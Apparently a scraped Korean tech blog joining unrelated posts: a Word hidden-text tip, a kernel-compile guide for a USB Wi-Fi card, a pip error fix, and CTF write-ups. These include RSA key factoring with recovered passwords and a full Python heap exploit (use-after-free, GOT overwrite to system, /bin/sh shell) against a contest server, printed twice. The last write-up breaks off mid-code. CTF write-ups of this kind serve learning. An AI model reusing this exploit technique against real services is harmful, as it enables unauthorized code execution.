시험지를 제작할 때 한글에서 누름틀을 이용하면 교사용에는 답안이 출력되도록, 학생용에는 답안이 출력되지 않도록 설정이 가능하다.

부득이하게 word에서 작업해야 할 때 word에서도 한글의 누름틀과 유사한 기능이 있는지 찾아보는데, 정확히 일치하는 기능은 없지만 출력시에 출력이 되게 혹은 안 되게 할 수 있는 Hidden Text라는 기능이 있다.

Hidden Text로 지정할 부분을 드래그한 뒤 Ctrl + Shift + H를 누르면 밑줄이 생기며 Hidden Text 속성이 된다.

편집시 Hidden Text를 보거나 보이지 않게 하려면 홈에서 아래 버튼을 누르면 된다.

Hidden Text를 인쇄하도록 설정을 바꾸려면 파일-옵션-표시에 들어가 인쇄 옵션에서 숨겨진 텍스트 인쇄를 체크해주면 된다.

Hidden Text 기능에서 엔터가 이상해질 때가 있다. 예를 들어,

(1) 1+1=2이다.

True.

(2) 1+2=4이다.

False. 1+2=3.

에서 True와 False를 Hidden Text로 만들어버리면 엔터가 사라지고 다음과 같이 표시된다.

(1) 1+1=2이다.

(2) 1+2=4이다.

이럴 때 엔터를 유지하고 싶다면 True의 맨 끝에 커서를 둔 뒤 Ctrl + Shift + H를 한번 더 누르면 된다. 그러면 다음과 같이 출력된다.

(1) 1+1=2이다.


(2) 1+2=4이다.


You can extract N and e by a series of commands:

$ PUBKEY=`grep -v -- ----- 1.pub | tr -d '\n'`
$ echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i
$ echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i -strparse 18

or 

openssl asn1parse -in 1.pub
openssl asn1parse -in 1.pub -strparse 18



(thanks to http://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key)


#1

I found a nice tool: http://www.sympy.org/en/index.html

p=9733382803370256893136109840971590971460094779242334919432347801491641617443615856221168611138933576118196795282443503609663168324106758595642231987245583L
q=9733382803370256893136109840971590971460094779242334919432347801491641617443615856221168611138933576118196795282443503609663168324106758595642231987246769L
Password=  'XtCgoEKksjKFWlqOSxqsEhK/+tsr1k5c'


#2

N shared common factor, previous q

p=12401828372292379853813876769631673931562555174641979554254424458038243058638417065284301266881242433017828663818811606556559256084249679274024474025282343L
q=9733382803370256893136109840971590971460094779242334919432347801491641617443615856221168611138933576118196795282443503609663168324106758595642231987246769L
Password= 'rlSpJ6HbP+cZXaOuSPOe4pgfevGnXtLt'


#3

Use factorint again

p=158304142767773473275973624083670689370769915077762416888835511454118432478825486829242855992134819928313346652550326171670356302948444602468194484069516892927291240140200374848857608566129161693687407393820501709299228594296583862100570595789385365606706350802643746830710894411204232176703046334374939501731L
q=54311
Password= 'hQdK+dKleMJqth/dofWyFaiWp3PW7jil'

#4
Use wiener attack (thanks to https://github.com/ctfs/write-ups-2015/blob/master/plaidctf-2015/crypto/curious/wiener_attack.py)

p=10843221374140991753173625949764386011485161421520044246309105053489500519257941272796681417497061734054081478280518835582353321569961722963922828311576983L
q=10114792273660656874618568712406420344176220457790563178092222929337786916374923318745284718351487926620784106195715878875311958793629905453919697155685507L
Password= '/3aAP5dF2zmrPh9K6A4AqMLsIiYDk2C2'


※ alternatively,

openssl rsa -text -in 1.pub

FLAG: BKPCTF{Its_not_you,_its_rsa_(that_is_broken)}


There exists a Use-After-Free bug when discarding a recipe in sub_8049092() because it doesn't assign 0x804d0a0 to NULL after freeing.


Memory Leak exists where it prints recipe. Let's call the address in 0x804d0a0 "ptr", and when a recipe is printed, the address to which ptr+116 is pointing is leaked.

cndq => Allocate and Free 0x804d0a0 (generates dangling ptr)

ang, "A"x116 + address to leak, => new ingredient on ptr

cp => Leak


Memory Overwrite occurs when freeing a node in linked list. Let's take a look.

     node1                       node2                       node3
+------------+              +------------+              +------------+
| ingredient |       |----->| ingredient |       |----->| ingredient |
|------------|       |      |------------|       |      |------------|
|    next    |-------|      |    next    |-------|      |    next    |
+------------+              +------------+              +------------+

In this situation, freeing node2 will assign node2->next to node1->next.

We can overwrite ptr+0 and ptr+4 the same way we leaked memory, each of which is pointing to a linked list respectively.

So if we overwrite ptr+4 to 0x804a098, it will look like this:

     node1 (0x804d098)           node2 (ptr1)        node3 (0x804d034 = strtoul-4)
+------------+              +---------------------+              +------------+
| ingredient |       |----->| ingredient (calory) |       |----->| ingredient |
|------------|       |      |---------------------|       |      |------------|
|    next    |-------|      |    next (price)     |-------|      |    next    |
+------------+              +---------------------+              +------------+

Because node2 is an ingredient object, we can manipulate node2 by setting a calory and price.

Deleting node2 will make node1's next point to 0x804d034. There is a reason for this specific address 0x804d034. After freeing node2, the function iterates all the nodes in linked list to count the nodes, and node3->next(strtoul@libc)->next is NULL. I tried several other addresses but it all failed, accessing every next address until next is NULL.

     node3 (0x804d034)               node4 (strtoul)
+--------------------+              +------------+
|     ingredient     |       |----->| ingredient |
|--------------------|       |      |------------|
|    next (strtoul)  |-------|      |   next(0)  |
+--------------------+              +------------+

Freeing node2 will make node1->next point to 0x804d034, then we can overwrite strtoul's GOT to system by setting ingredien'ts price. After that, there's a part where user input goes into strtoul at adding ingredients in recipe.


Final exploit code is as follows. (haven't got the time to make code clean..)

# -*- coding: utf-8 -*-
# BKPCTF{hey_my_grill_doesnt_work_here}
from socket import *
from struct import pack, unpack
from time import sleep
import re
import yum3

p = lambda x: pack("<I", x)
up = lambda x: unpack("<I", x)[0]

s = socket(2,1)
s.connect(('cookbook.bostonkey.party', 5000))

yum3.recv_until(s, "what's your name?\n")
s.send("asdf\n")
print 'asdf'
yum3.recv_until(s, "[q]uit\n")

##### [1] LEAK puts & calc system
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x804d030) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")

puts_addr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
system_addr = puts_addr - 161776
print 'system:', hex(system_addr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [2] LEAK 0x804d0a0
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x0804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

h804d0a0 = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'h804d0a0:',hex(h804d0a0)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [3] add recipe: water, corn, tomato
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("corn\n")
print 'corn'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("tomato\n")
print 'tomato'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [4] LEAK 0x804d0a0 => to put in second node for freeing
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(h804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

original_ptr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'original_ptr:',hex(original_ptr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [5] make a fake second node
# [cur_ingredient (need to be pointing a real one to prevent dying in free()) | next (=strtoul-4) ]
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send("134533172\n")
print 'p %08x' % 134533172 # 0x804d038-4 => strtoul-4
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [6] overwrite first node to 0x804d098
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("g\n")
print 'g'
yum3.recv_until(s, "how long is the name of your cookbook? (hex because you're both a chef and a hacker!) : ")

s.send("f\n")
s.send(p(original)+p(0x0804d098)+'\x00\n')
print 'f original/0x0804d098'
yum3.recv_until(s, "[q]uit\n")

##### [7] free second node => [0x804d098+4] = 0x804d034
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("r\n")
print 'r'
yum3.recv_until(s, "which ingredient to remove? ")

s.send("corn\x00\n")
print 'corn'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send(str(system_addr-0x100000000)+"\n") # to fit %d
print 'p %08x' % system_addr
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [8] trigger
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("/bin/sh\n")
print '/bin/sh'

yum3.shell(s)

'''
cndq
ang
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
q
cp

c
a"water"
a"corn"
a"tomato"
q

an => 0x0804d098+4에 뭔가 있음
s 0x0804f6f0 = 0x804f2b0에 들어있는 original node값 # 134543088 # for freeing
p &strtoul@got 0x804d038-4 = 134533172
q
cdq
g 20
0x804f2b0: 0x0804f6c0 0x0804f2b8 ...
set *0x804f2b0= 원래 0x804f2b0에 들어있는 값
set *0x804f2b4= 0x0804d098

c
r"corn"
a
p  &system
q

c
a water
/bin/sh
'''



sub_8049092() 함수에서 recipe를 discard할 때 free만 해주고 0x804d0a0는 0으로 만들지않아 Use After Free가 가능하다.

특히 free를 해둔 뒤 새로운 ingredient를 할당하면 같은 주소에 malloc되는데, 이를 이용해 ingredient도 Use After Free가 가능하다.

Memory Leak은 Recipe를 프린트해주는 곳에서 발생한다. Recipe를 프린트할 때 0x804d0a0에 담긴 주소를 ptr이라고 할 때, ptr+116번째 주소를 leak해준다.

cndq => 0x804d0a0 할당 후 해제

ang, "A"x116 + leak할 주소, => 그 위에 new ingredient

cp => Leak


Memory Overwrite는 링크드리스트를 해제할 때 일어난다. 다음 그림을 살펴보자.

     node1                       node2                       node3
+------------+              +------------+              +------------+
| ingredient |       |----->| ingredient |       |----->| ingredient |
|------------|       |      |------------|       |      |------------|
|    next    |-------|      |    next    |-------|      |    next    |
+------------+              +------------+              +------------+

이 상태에서 node2를 해제하게되면 node1의 next포인터가 node2의 next포인터로 덮어써진다.

0x804a0d0에 들어있는 ptr+0과 ptr+4가 각각 링크드리스트 head를 가리키고있는데, 위에서 Memory Leak할 때 덮어쓴 것처럼 이도 덮어쓰기가 가능하다.

따라서 ptr+4를 0x804a098로 덮어쓰면 다음과 같은 형태가 된다.

     node1 (0x804d098)           node2 (ptr1)        node3 (0x804d034 = strtoul-4)
+------------+              +---------------------+              +------------+
| ingredient |       |----->| ingredient (calory) |       |----->| ingredient |
|------------|       |      |---------------------|       |      |------------|
|    next    |-------|      |    next (price)     |-------|      |    next    |
+------------+              +---------------------+              +------------+

이 때 node2는 0x804d098이 가리키고있는 ingredient객체이므로 새로운 ingredient를 추가하고 칼로리와 가격을 설정해주므로써 next를 조작가능하다.

이런 형태에서 node2를 지우게되면 node1의 next가 0x804d034를 가리키게 된다. 이 주소로 해주는 이유가 있는데, free를 한 뒤에 Linked List를 iterate하면서 Linked List의 전체 개수를 가져오는 함수를 호출하는데, node3는 next->next가 0으로 깔끔하게 끝난다. 이 주소 말고 다른 함수로 하다보면 node3 이후에 next가 0이 아닐 때까지 접근하다가 죽어버린다.

     node3 (0x804d034)               node4 (strtoul)
+--------------------+              +------------+
|     ingredient     |       |----->| ingredient |
|--------------------|       |      |------------|
|    next (strtoul)  |-------|      |   next(0)  |
+--------------------+              +------------+

node2를 free하면서 node1의 next가 0x804d034를 가리키게 되면 price를 설정해주므로써 strtoul의 GOT overwrite가 가능하다. strtoul의 GOT를 system으로 덮어쓰면 Recipe를 추가하는 곳에서 사용자 입력값이 strtoul로 들어가게 된다.


최종 exploit 코드는 다음과 같다. (정리하지 않아 더럽다..)

# -*- coding: utf-8 -*-
# BKPCTF{hey_my_grill_doesnt_work_here}
from socket import *
from struct import pack, unpack
from time import sleep
import re
import yum3

p = lambda x: pack("<I", x)
up = lambda x: unpack("<I", x)[0]

s = socket(2,1)
s.connect(('cookbook.bostonkey.party', 5000))

yum3.recv_until(s, "what's your name?\n")
s.send("asdf\n")
print 'asdf'
yum3.recv_until(s, "[q]uit\n")

##### [1] LEAK puts & calc system
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x804d030) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")

puts_addr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
system_addr = puts_addr - 161776
print 'system:', hex(system_addr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [2] LEAK 0x804d0a0
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x0804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

h804d0a0 = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'h804d0a0:',hex(h804d0a0)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [3] add recipe: water, corn, tomato
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("corn\n")
print 'corn'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("tomato\n")
print 'tomato'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [4] LEAK 0x804d0a0 => to put in second node for freeing
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(h804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

original_ptr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'original_ptr:',hex(original_ptr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [5] make a fake second node
# [cur_ingredient (need to be pointing a real one to prevent dying in free()) | next (=strtoul-4) ]
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send("134533172\n")
print 'p %08x' % 134533172 # 0x804d038-4 => strtoul-4
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [6] overwrite first node to 0x804d098
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("g\n")
print 'g'
yum3.recv_until(s, "how long is the name of your cookbook? (hex because you're both a chef and a hacker!) : ")

s.send("f\n")
s.send(p(original)+p(0x0804d098)+'\x00\n')
print 'f original/0x0804d098'
yum3.recv_until(s, "[q]uit\n")

##### [7] free second node => [0x804d098+4] = 0x804d034
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("r\n")
print 'r'
yum3.recv_until(s, "which ingredient to remove? ")

s.send("corn\x00\n")
print 'corn'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send(str(system_addr-0x100000000)+"\n") # to fit %d
print 'p %08x' % system_addr
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [8] trigger
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("/bin/sh\n")
print '/bin/sh'

yum3.shell(s)

'''
cndq
ang
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
q
cp

c
a"water"
a"corn"
a"tomato"
q

an => 0x0804d098+4에 뭔가 있음
s 0x0804f6f0 = 0x804f2b0에 들어있는 original node값 # 134543088 # for freeing
p &strtoul@got 0x804d038-4 = 134533172
q
cdq
g 20
0x804f2b0: 0x0804f6c0 0x0804f2b8 ...
set *0x804f2b0= 원래 0x804f2b0에 들어있는 값
set *0x804f2b4= 0x0804d098

c
r"corn"
a
p  &system
q

c
a water
/bin/sh
'''



칼리리눅스 2.0에서 IPTIME의 N150UA USB무선랜카드 사용하는 방법을 소개하겠다.

아래 삭제된 내용과 같이 글을 썼었는데, 왜인지 모르겠으나 rt28xx_get_wireless_stats() 함수에서 커널 패닉이 종종 일어나는 것을 확인하였다.

조금 더 뒤적뒤적해본 결과 리눅스 커널 4.2부터 MT7601U가 지원된다는 것을 확인할 수 있었다. 하지만 칼리리눅스 2.0의 기본 커널 버전은 4.0이었다. 따라서 커널컴파일을 해서 커널 업그레이드를 시도해보았다.

현재 kernel.org에서 stable한 버전은 4.4.2버전이므로 이 버전으로 업그레이드를 진행하였다. http://docs.kali.org/development/recompiling-the-kali-linux-kernel를 참고하였다.

커널 컴파일을 본격적으로 진행하기 전에 실패할 경우를 대비해 SNAPSHOT을 꼭 찍어두길 바란다.

apt-get install kernel-package ncurses-dev fakeroot

로 필요한 것들을 받아준다. 그리고 kernel.org에서 linux-4.4.2.tar.xz 등 최신 stable 버전을 받아준다.

tar -xvf linux-4.4.2.tar.xz
cd linux-4.4.2

로 압축을 푼 뒤 폴더로 이동한다.

cp /boot/config-4.0.0-kali1-amd64 .config

로 기본 설정을 복사해준 뒤

make menuconfig

를 이용해 세부 설정을 해준다. 이 때, MT7601U는 기본으로 설치되지 않아 설정이 필요하다.

Device drivers - Network device support - Wireless LAN - Mediatek Wireless LAN support

로 들어가 이를 체크해주고, 이 하위로 들어가 Mediatek MT7601U (USB) support도 체크해준다. 하위 옵션으로 이동시에는 엔터를, 체크에는 스페이스바를 이용하면 된다. 체크를 해준 뒤 save를 해서 콘솔로 빠져나온다.


export CONCURRENCY_LEVEL=$(cat /proc/cpuinfo | grep processor | wc -l)

를 통해 멀티코어를 이용해 컴파일을 할 수 있다.

make-kpkg clean

로 이전 패키지가 존재한다면 삭제하고,

fakeroot make-kpkg kernel_image

를 이용해 컴파일한다. 이 때 컴파일 시간이 환경에 따라 몇 시간까지 걸릴 수 있으니 자고 오거나 하면 된다.

컴파일이 완료되면 다음과 같이 입력해주면 된다.

dpkg -i ../linux-image-4.4.2_4.4.2-10.00.Custom_amd64.deb
update-initramfs -c -k 4.4.2
update-grub2
reboot

버전이나 deb 파일명은 알아서 조절하면 된다. 재부팅 이후에 바로 될줄 알았는데 firmware를 설치해주어야 한다.

wget -O /lib/firmware/mt7601u.bin https://git.kernel.org/cgit/linux/kernel/git/firmware/linux-firmware.git/plain/mt7601u.bin

deprecated: https://github.com/porjo/mt7601/raw/master/src/mcu/bin/MT7601.bin)

그리고 다시 재부팅하면 잘 되는 것을 확인할 수 있다.


혹시 커널컴파일이 귀찮은 분들을 위해 deb파일을 올려두겠다. 다시 한번 말하지만 실패할 경우를 대비해 꼭 SNAPSHOT을 찍어두길 바란다.

linux-image-4.4.2_4.4.2-10.00.Custom_amd64.7z.001

linux-image-4.4.2_4.4.2-10.00.Custom_amd64.7z.002

linux-image-4.4.2_4.4.2-10.00.Custom_amd64.7z.003

linux-image-4.4.2_4.4.2-10.00.Custom_amd64.7z.004


=== 16.02.24 업데이트로 삭제된 내용 (사유: 잦은 커널 패닉) ===

칼리리눅스에 N150UA를 연결한 뒤 lsusb를 입력하면 MT7601U를 볼 수 있다.

하지만 iwconfig를 쳐보면 인식이 되지 않는다. 드라이버를 설치해야 한다.

N150UA Linux용 드라이버는 http://www.mediatek.com/en/downloads1/downloads/?sort=os 에서 MT7601U USB를 선택해 다운받을 수 있다.

먼저 

apt-get install linux-headers-$(uname -r) build-essential

로 필요한 헤더와 프로그램 등을 다운받는다.

압축을 푼 뒤 이를 컴파일해서 install해야하는데, 오래된 소스이다보니 make를 그냥 하면 몇 군데 에러가 뜬다.

총 두 군데를 고쳐야한다.

1. sta/sta_cfg.c

__DATE__와 __TIME__ 매크로에서 에러가 난다. 따라서 5766번째 줄을 다음과 같이 수정한다.


2. os/linux/rt_linux.c

type casting이 지원이 되지 않아 에러가 난다. 강제 casting을 해준다.


그런 다음 make와 make install을 차례대로 실행 후 reboot한 뒤 modprobe mt7601Usta해주면 잘 된다.

  1. 당근 2016.06.23 11:20

    명확하고 깔끔한 설명 잘 봤습니다! VMware 안에서도 똑같이 적용되나요?

  2. 덕분에^^ 2016.07.27 23:25

    많은 도움이 되었습니다.
    커널 4.6.4로 컴파일 후 재부팅하니 안잡혀서 설명한 펌웨어 받으려니 안받아지더군요
    뒤적이다 아래 경로를 찾아 펌웨어 받은 후 재부팅하니 잡히네요 ㅎㅎ
    http://git.kernel.org/cgit/linux/kernel/git/firmware/linux-firmware.git/plain/mt7601u.bin
    감사합니다^^

  3. 실험자 2017.04.20 16:22

    안녕하세요!
    정말 친절하게 작성하셔서 잘 따라했는데
    펌웨어까지 업데이트하고 재부팅하였는데
    wireless 가 설정에 안뜨네요 ㅠㅠ

    무엇인 문제인지 알 수 있을까요?
    lsusb 하면 mediatek은 연결되어있는 것을 확인할 수 있습니다..

    • 유메 yum3 2017.05.22 17:14 신고

      글쎄요.. 드라이버가 제대로 실행중인지 확인해야할 듯 합니다.

  4. ㅇㅇ 2017.04.23 18:00

    우클릭 방지 개극혐 진짜.

    • 유메 yum3 2017.05.22 17:15 신고

      불펌이 하도 많다보니 어쩔 수 없습니다. 글마다 부분적으로 우클릭 방지를 걸 수 있는 것도 아니고요. 그리고 이 글 보고 따라할 컴퓨터 지식이 있다면 우클릭 방지 정도는 쉽게 푸실텐데요.

  5. cdnews 2020.11.17 17:18

    도움되는 내용 잘 보고 가용~

pip는 python 2.7.9 이후에는 내장되어있다. Windows에서 pip로 모듈을 설치하다보면 

File "C:\Python27\lib\ntpath.py", line 85, in join

  result_path = result_path + p_path

UnicodeDecodeError: 'ascii' codec can't decode byte 0xbd in position 0: ordinal not in range(128)

과 같은 에러가 뜰 때가 있다. (byte 0xbd와 position 0은 달라질 수 있음)

이 때 확인해봐야 할 것은 경로명에 한글이 있는지(예: C:\Users\홍길동), 그리고 hostname(PC명)에 한글이 있는지 확인해보아야 한다.

hostname은 내컴퓨터의 시스템속성(프로세서, RAM같은거 써있고 컴퓨터 성능 별점매길수 있는 페이지)에서 확인할 수 있다.

hostname에 한글이 있다면(정확히는 ascii가 아닌 글자가 있다면) 이를 영어로 바꿔주자.

단, hostname을 바꾸면 인터넷뱅킹같은거 할 때 귀찮아질 수도 있다.. (새로은 PC로 인식해 다시 등록하라고 할 수 있음. 사실 안 해봐서 확답은 못 드림)

1. 평소와 다른 인터넷 [100]

--to be added--


2. 0-day is not zeroday [200]

파일을 winhex로 열면 0x200부터 0x2a1까지 이상한 값으로 채워진 것을 볼 수 있는데, 78 9C로 시작하는 것으로 보아 zlib으로 압축된 것을 알 수 있다.

이를 파이썬으로 압축을 풀면 이상한 문자열이 나온다.

이를 hex로 encode해서 출력하면 69210710으로 도배되어있고, 중간에 셸코드 비스무리한게 있는 것을 볼 수 있다.

이를 새로운 바이너리에 붙여넣고 IDA로 열면 결과가 다음과 같다.

0x57주소에서부터 push를 여러번 하는 것을 볼 수 있는데, 값을 보니 문자열인 듯하다. 이를 해석하면 flag를 얻을 수 있다.

print ' RjFORF83SDROS1kwVQ=='.decode('base64')


Flag: F1ND_7H4NKY0U


3. 무엇을 숨기고 있는 걸까 [200]

app-release.apk파일이 주어진다. 확장자를 zip으로 바꿔서 dex파일을 추출하고 dex2jar을 이용하 jar로 변환한 뒤 jdgui를 통해 jar의 소스를 볼 수 있다. 앱을 디컴파일하는 방법은 구글에도 많이 나와있다.

j함수는 파이썬으로 바꿔서 실행하면 다음과 같다.

print "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[27] +\
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[15] +\
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[8] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[49] +\
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[2] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[11] +\
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[4] + \
